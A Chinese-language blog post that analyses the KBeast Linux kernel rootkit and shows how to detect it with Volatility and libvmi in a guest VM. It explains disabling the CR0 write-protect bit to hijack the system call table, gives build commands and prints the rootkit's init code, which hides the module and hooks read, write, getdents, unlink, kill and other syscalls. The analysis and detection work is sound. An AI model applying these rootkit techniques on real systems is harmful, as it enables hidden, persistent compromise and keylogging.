作者:Diting0x 
CSysSec注 : 本文来自Diting0x 的个人博客 ,该文深入分析了KBeast的原理以及源代码,并给出了检测KBeast实验方法,KBeast是学习内核层恶意代码不错的样本。转载本文请务必注明 ,文章出处:《内核层恶意代码KBeast分析与检测 》与作者信息:Diting0x 
0x01 全文环境 
0X02 Kbeast 特性 
0X03 系统调用劫持基础 
0X04 Kbeast 使用 
0X05 Kbeast 核心 
0X06 Libvmi and Volatility检测KBeast 
 
 
0x01 全文环境 Host Ubuntu 12.04 + Guest Ubuntu 10.04/11.04 + Libvmi + Volatility
其中Kbeast运行在Guest Ubuntu 10.04/11.04中,libvmi与volatility运行在Host Ubuntu12.04中。
0X02 Kbeast 特性 以下是Kbeast实现的功能:
隐藏可加载模块(LKM) 
隐藏文件/目录 
隐藏进程(ps,pstree,top,lsof) 
隐藏套接字和网络连接(netstat,lsof) 
记录键盘操作捕获用户行为 
反杀死进程 
反移除文件 
反删除可加载模块 
root提权后门 
远程绑定后门  
 
0X03 系统调用劫持基础 上述的Kbeast特性都是通过系统调用劫持实现的。在kernel 2.6.*之前,系统调用表”sys_call_table”是可以直接导出引用的,如:
extern void *sys_call_table[];
sys_call_table[__NR_syscall] = pointer
而在kernel 2.6.* 之后禁用了这种特性,并且其所在页是写保护的。然而,系统调用表依然在内存中,如果知道其所在内存地址,依然可以通过指针访问。内核中的符号表System.map (一般在/boot/目录下)记录了所有的符号及其地址,当然也包括系统调用表”sys_call_table”.  以Ubuntu 10.04为例,执行:
grep sys_call_table /boot/System.map-2.6.32-21-generic
显示的结果为
c0592150 R sys_call_table
c0592150指的是线性地址,R说明此地址所在的页面Read-only。目前的CPU都会将CR0控制寄存器的第16位(wp-bit)置1,将页面开启保护模式,这时CPU处于”write-proteed”模式,否则处于”read/write”模式。CR0寄存器的位描述可参考CR0 . 
如果能将WP位置0,就可以访问内存页面,读写系统调用表了。 下面这行代码便可实现此功能:
write_cr0 (read_cr0 () & (~ 0x10000));
0X04 Kbeast 使用 下载Kbeast . 
tar xzf ipsecs-kbeast-v1.tar.gz
cd kbeast-v1
./setup build 1  
具体可参考/kbeast-v1/setup 文件,参数1表示默认为kernel 2.6.32。测试过ubuntu11.04 内核为2.6.38,setup出错,作者声称:
成功编译后,kbeast就会加载到内核空间,rootkit安装在/usr/h4x 路径下,生成/usr/h4x /_h4x_bd进程,以及acctlog 记录文件, 路径以及文件名等参数可以在config.h文件中配置。当然在目标机器guest中无法找到相关文件,因为已经被隐藏了。下文会利用volatility检测到相关进程的路径。
0X05 Kbeast 核心 Kbeast以LKM的方式存在,以下是其核心代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
static  int  init (void ) 
  
  list_del_init(&__this_module.list );
  struct  tcp_seq_afinfo  *my_afinfo  = NULL ;
  
  struct  proc_dir_entry  *my_dir_entry  = init_net .proc_net ->subdir ;
  write_cr0 (read_cr0 () & (~ 0x10000 ));
  if (_KEYLOG_){
    o_read=(void  *)sys_call_table[__NR_read];
    sys_call_table[__NR_read]=h4x_read;
  }
  o_write=(void  *)sys_call_table[__NR_write];
  sys_call_table[__NR_write]=h4x_write;
  #if  defined(__x86_64__) 
    o_getdents=sys_call_table [__NR_getdents];
    sys_call_table [__NR_getdents]=h4x_getdents;
  #elif  defined(__i386__) 
    o_getdents64=sys_call_table [__NR_getdents64];
    sys_call_table [__NR_getdents64]=h4x_getdents64;
  #else  
    #error  Unsupported architecture 
  #endif  
  o_unlink = sys_call_table [__NR_unlink];
  sys_call_table [__NR_unlink] = h4x_unlink;
  o_rmdir = sys_call_table [__NR_rmdir];
  sys_call_table [__NR_rmdir] = h4x_rmdir;
  o_unlinkat = sys_call_table [__NR_unlinkat];
  sys_call_table [__NR_unlinkat] = h4x_unlinkat;
  o_rename = sys_call_table [__NR_rename];
  sys_call_table [__NR_rename] = h4x_rename;
  o_open = sys_call_table [__NR_open];
  sys_call_table [__NR_open] = h4x_open;
  o_kill = sys_call_table [__NR_kill];
  sys_call_table [__NR_kill] = h4x_kill;
  o_delete_module = sys_call_table [__NR_delete_module];
  sys_call_table [__NR_delete_module] = h4x_delete_module;
  write_cr0 (read_cr0 () | 0x10000 );
  while (strcmp (my_dir_entry->name, "tcp" ))
    my_dir_entry = my_dir_entry->next;
  if ((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
  {
    
    old_tcp4_seq_show = my_afinfo->seq_ops.show;
    my_afinfo->seq_ops.show = h4x_tcp4_seq_show;
  }
  return  0 ;
}
首先将模块隐藏,取消CR0写保护,找到系统调用表地址,将其处理函数换成自己的函数,分别对应其中的特性。 如:
1
2
3
4
5
6
7
8
9
10
sys_call_table[__NR_read]=h4x_read; 
sys_call_table[__NR_write]=h4x_write; 
sys_call_table [__NR_getdents]=h4x_getdents; 
sys_call_table [__NR_unlink] = h4x_unlink; 
sys_call_table [__NR_rmdir] = h4x_rmdir; 
sys_call_table [__NR_unlinkat] = h4x_unlinkat; 
sys_call_table [__NR_rename] = h4x_rename; 
sys_call_table [__NR_open] = h4x_open; 
sys_call_table [__NR_kill] = h4x_kill; 
sys_call_table [__NR_delete_module] = h4x_delete_module;
0X06 Libvmi and Volatility检测KBeast 检测之前,先按照 这篇  文章搭好环境。
以下是分别利用volatility的linux_psaux、linux_pslist、linux_pstree、linux_lsof、linux_proc_maps、linux_check_modules插件检测出来的结果,能检测出其隐藏的进程、模块、进程间的关系以及所在路径。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
python vol.py -l vmi://1004 desktop32 --profile=Linuxubuntu1004desktopx86 linux_psaux | grep _h4x_bd
  
Pid    Uid    Gid    Arguments 
2316    2       2       ./_h4x_bd
 python vol.py -l vmi://1004 desktop32 --profile=Linuxubuntu1004desktopx86 linux_pslist | grep _h4x_bd 
 
 Offset     Name                 Pid             Uid             Gid    DTB      Start Time
 0xf579e680  _h4x_bd              2316             2                2       0x357c5000  2016 -04 -01  21 :41 :29  UTC+0000 
  
  
  python vol.py -l vmi://1004 desktop32         --profile=Linuxubuntu1004desktopx86 linux_pstree | grep _h4x_bd 
 Name                 Pid             Uid 
 ._h4x_bd             2316             2  
  
 python vol.py -l vmi://1004 desktop32 --profile=Linuxubuntu1004desktopx86 linux_pslsof | grep _h4x_bd 
  
  Offset             Name                           Pid      FD       Path
  0x00000000f579e680  _h4x_bd                            2316         1  /dev/pts/0 
0x00000000f579e680  _h4x_bd                            2316         2  /dev/pts/0 
0x00000000f579e680  _h4x_bd                            2316         3  socket:[11708 ]
python vol.py -l vmi://1004 desktop32 --profile=Linuxubuntu1004desktopx86 linux_proc_maps | grep _h4x_bd 
  
  
 linux_proc_maps
 
 
 Offset             Pid      Name                 Start              End         
       Flags       Pgoff Major  Minor  Inode      File Path
 
 
 
 0x00000000f579e680      2316  _h4x_bd                  0x0000000000adb000  0x0000000000adc000  ---      0x153000     251       1      134375  /lib/tls/i686/cmov/libc-2.11 .1 .so
0x00000000f579e680      2316  _h4x_bd              0x0000000000adc000  0x0000000000ade000  r--      0x153000     251       1      134375  /lib/tls/i686/cmov/libc-2.11 .1 .so
0x00000000f579e680      2316  _h4x_bd              0x0000000000ade000  0x0000000000adf000  rw-      0x155000     251       1      134375  /lib/tls/i686/cmov/libc-2.11 .1 .so
0x00000000f579e680      2316  _h4x_bd              0x0000000000adf000  0x0000000000ae2000  rw-           0x0       0       0           0  
0x00000000f579e680      2316  _h4x_bd              0x0000000008048000  0x0000000008049000  r-x           0x0     251       1      136169  /usr/_h4x_/_h4x_bd
0x00000000f579e680      2316  _h4x_bd              0x0000000008049000  0x000000000804a000  r--        0x1000     251       1      136169  /usr/_h4x_/_h4x_bd
0x00000000f579e680      2316  _h4x_bd              0x000000000804a000  0x000000000804b000  rw-        0x2000     251       1      136169  /usr/_h4x_/_h4x_bd
0x00000000f579e680      2316  _h4x_bd              0x00000000b7875000  0x00000000b7876000  rw-           0x0       0       0           0  
0x00000000f579e680      2316  _h4x_bd              0x00000000b7884000  0x00000000b7886000  rw-           0x0       0       0           0  
0x00000000f579e680      2316  _h4x_bd              0x00000000bfd84000  0x00000000bfd99000  rw-           0x0       0       0           0  [stack]
  python vol.py -l vmi://1004 desktop32 --profile=Linuxubuntu1004desktopx86 linux_check_moudles | grep _h4x_bd   
   
 Module Address Module Name             
 0xf805dae0  ipsecs_kbeast_v1
 当要清除module时,执行./setup clean. 但仍然会残留一些文件,无法删除。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Checking for  make : /usr/bin/make
Removing Kernel Module
Removing Compiled Kernel Module
Stoping Network Daemon
Removing Backdoor File
rm: cannot remove `./_h4x_bd': Permission denied
Removing Installation Directory
rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.o.cmd':     Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.o':         Permission denied
rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.ko.cmd':     Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.ko':         Permission denied
rm: cannot remove                     `/usr/_h4x_/.tmp_versions/ipsecs-kbeast-v1.mod': Permission     denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.mod.c':         Permission denied
rm: cannot remove         `/usr/_h4x_/.ipsecs-kbeast-v1.mod.o.cmd': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.c':         Permission denied
rm: cannot remove `/usr/_h4x_/bd-ipsecs-kbeast-v1.c':     Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.mod.o':     Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.cc1':     Permission denied
Reference http://volatility-labs.blogspot.com/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html 
http://cradpdf.drdc-rddc.gc.ca/PDFS/unc199/p801869_A1b.pdf 
https://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/  
http://dddotcom.github.io/2015/01/10/Kbeast-Source-Code-Analysis/ 
http://beneathclevel.blogspot.com/2013/06/a-linux-rootkit-tutorial-introduction.html 
转载本文请务必注明 ,文章出处:《内核层恶意代码KBeast分析与检测 》与作者信息:Diting0x